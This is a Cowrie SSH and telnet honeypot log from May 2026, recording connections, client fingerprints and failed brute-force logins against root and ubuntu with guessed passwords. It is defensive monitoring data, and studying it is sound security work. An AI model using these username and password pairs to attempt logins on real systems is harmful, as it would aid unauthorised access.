{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:02.491518Z","src_ip":"69.6.222.198","session":"b3887e95432c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:02.607037Z","src_ip":"69.6.222.198","session":"b3887e95432c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":52568,"dst_ip":"159.203.135.109","dst_port":22,"session":"961b51bdf16f","protocol":"ssh","message":"New connection: 165.154.5.249:52568 (159.203.135.109:22) [session: 961b51bdf16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:02.772434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:02.778372Z","src_ip":"165.154.5.249","session":"961b51bdf16f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:02.996894Z","src_ip":"165.154.5.249","session":"961b51bdf16f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:03.092813Z","src_ip":"69.6.222.198","session":"b3887e95432c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.925689697265625,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:03.893109Z","src_ip":"192.119.13.58","session":"79ffab2ca0bb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgb6yhn7ujm","message":"login attempt [root/5tgb6yhn7ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:03.902603Z","src_ip":"165.154.5.249","session":"961b51bdf16f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:04.211933Z","src_ip":"69.6.222.198","session":"b3887e95432c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:05.124833Z","src_ip":"165.154.5.249","session":"961b51bdf16f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":57860,"dst_ip":"159.203.135.109","dst_port":22,"session":"03fa2e9c36b8","protocol":"ssh","message":"New connection: 150.109.25.130:57860 (159.203.135.109:22) [session: 03fa2e9c36b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:05.807653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:05.812528Z","src_ip":"150.109.25.130","session":"03fa2e9c36b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d5b90864e3","protocol":"telnet","message":"New connection: 192.119.13.58:59158 (10.17.0.5:23) [session: b0d5b90864e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:05.830743Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:06.053459Z","src_ip":"150.109.25.130","session":"03fa2e9c36b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60630,"dst_ip":"10.17.0.5","dst_port":23,"session":"71021a039075","protocol":"telnet","message":"New connection: 192.119.13.58:60630 (10.17.0.5:23) [session: 71021a039075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:06.353268Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":52406,"dst_ip":"159.203.135.109","dst_port":22,"session":"5625d426d34f","protocol":"ssh","message":"New connection: 43.134.100.175:52406 (159.203.135.109:22) [session: 5625d426d34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:06.836245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:06.840509Z","src_ip":"43.134.100.175","session":"5625d426d34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ding123","message":"login attempt [root/ding123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:07.038422Z","src_ip":"150.109.25.130","session":"03fa2e9c36b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:07.081062Z","src_ip":"43.134.100.175","session":"5625d426d34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa888999","message":"login attempt [root/aaa888999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:08.065849Z","src_ip":"43.134.100.175","session":"5625d426d34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:08.279112Z","src_ip":"150.109.25.130","session":"03fa2e9c36b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:09.307396Z","src_ip":"43.134.100.175","session":"5625d426d34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.208542823791504,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:09.455335Z","src_ip":"192.119.13.58","session":"875c7b0bdf97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.66288900375366,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:09.887414Z","src_ip":"192.119.13.58","session":"04a0295bbaa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49876,"dst_ip":"10.17.0.5","dst_port":23,"session":"f374c8995a7e","protocol":"telnet","message":"New connection: 192.119.13.58:49876 (10.17.0.5:23) [session: f374c8995a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:10.847422Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50836,"dst_ip":"10.17.0.5","dst_port":23,"session":"85a24cbd1c91","protocol":"telnet","message":"New connection: 192.119.13.58:50836 (10.17.0.5:23) [session: 85a24cbd1c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:11.148902Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":43392,"dst_ip":"10.17.0.5","dst_port":22,"session":"466a7b894b22","protocol":"ssh","message":"New connection: 103.149.170.125:43392 (10.17.0.5:22) [session: 466a7b894b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:12.124609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:12.129791Z","src_ip":"103.149.170.125","session":"466a7b894b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:12.394194Z","src_ip":"103.149.170.125","session":"466a7b894b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789123","message":"login attempt [root/789123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:13.170905Z","src_ip":"103.149.170.125","session":"466a7b894b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:14.434312Z","src_ip":"103.149.170.125","session":"466a7b894b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38950,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbabac00bda7","protocol":"telnet","message":"New connection: 192.119.13.58:38950 (10.17.0.5:23) [session: cbabac00bda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:16.086443Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38318,"dst_ip":"10.17.0.5","dst_port":23,"session":"b640843230ba","protocol":"telnet","message":"New connection: 192.119.13.58:38318 (10.17.0.5:23) [session: b640843230ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:16.946473Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35548,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea44505cdbe","protocol":"ssh","message":"New connection: 193.32.162.145:35548 (10.17.0.5:22) [session: 6ea44505cdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:17.201528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:17.206592Z","src_ip":"193.32.162.145","session":"6ea44505cdbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:17.308025Z","src_ip":"193.32.162.145","session":"6ea44505cdbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol@","message":"login attempt [ubuntu/sol@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:17.714740Z","src_ip":"193.32.162.145","session":"6ea44505cdbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:18.836215Z","src_ip":"193.32.162.145","session":"6ea44505cdbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed662f2e18b5","protocol":"telnet","message":"New connection: 192.119.13.58:49546 (10.17.0.5:23) [session: ed662f2e18b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:18.913470Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40576,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be6c5f311c8","protocol":"telnet","message":"New connection: 192.119.13.58:40576 (10.17.0.5:23) [session: 6be6c5f311c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:22.597724Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1deb8bd1aa2","protocol":"ssh","message":"New connection: 103.172.78.219:54672 (10.17.0.5:22) [session: d1deb8bd1aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:23.135078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:23.139757Z","src_ip":"103.172.78.219","session":"d1deb8bd1aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:23.394730Z","src_ip":"103.172.78.219","session":"d1deb8bd1aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112211","message":"login attempt [root/112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:24.161826Z","src_ip":"103.172.78.219","session":"d1deb8bd1aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66266131401062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:24.344306Z","src_ip":"192.119.13.58","session":"18cb0103616a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.722062826156616,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:25.100242Z","src_ip":"192.119.13.58","session":"7030cc7c3c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:25.419040Z","src_ip":"103.172.78.219","session":"d1deb8bd1aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.48040986061096,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:25.857635Z","src_ip":"192.119.13.58","session":"ece460f230d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"81918884774d","protocol":"telnet","message":"New connection: 192.119.13.58:56228 (10.17.0.5:23) [session: 81918884774d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:26.483135Z"}
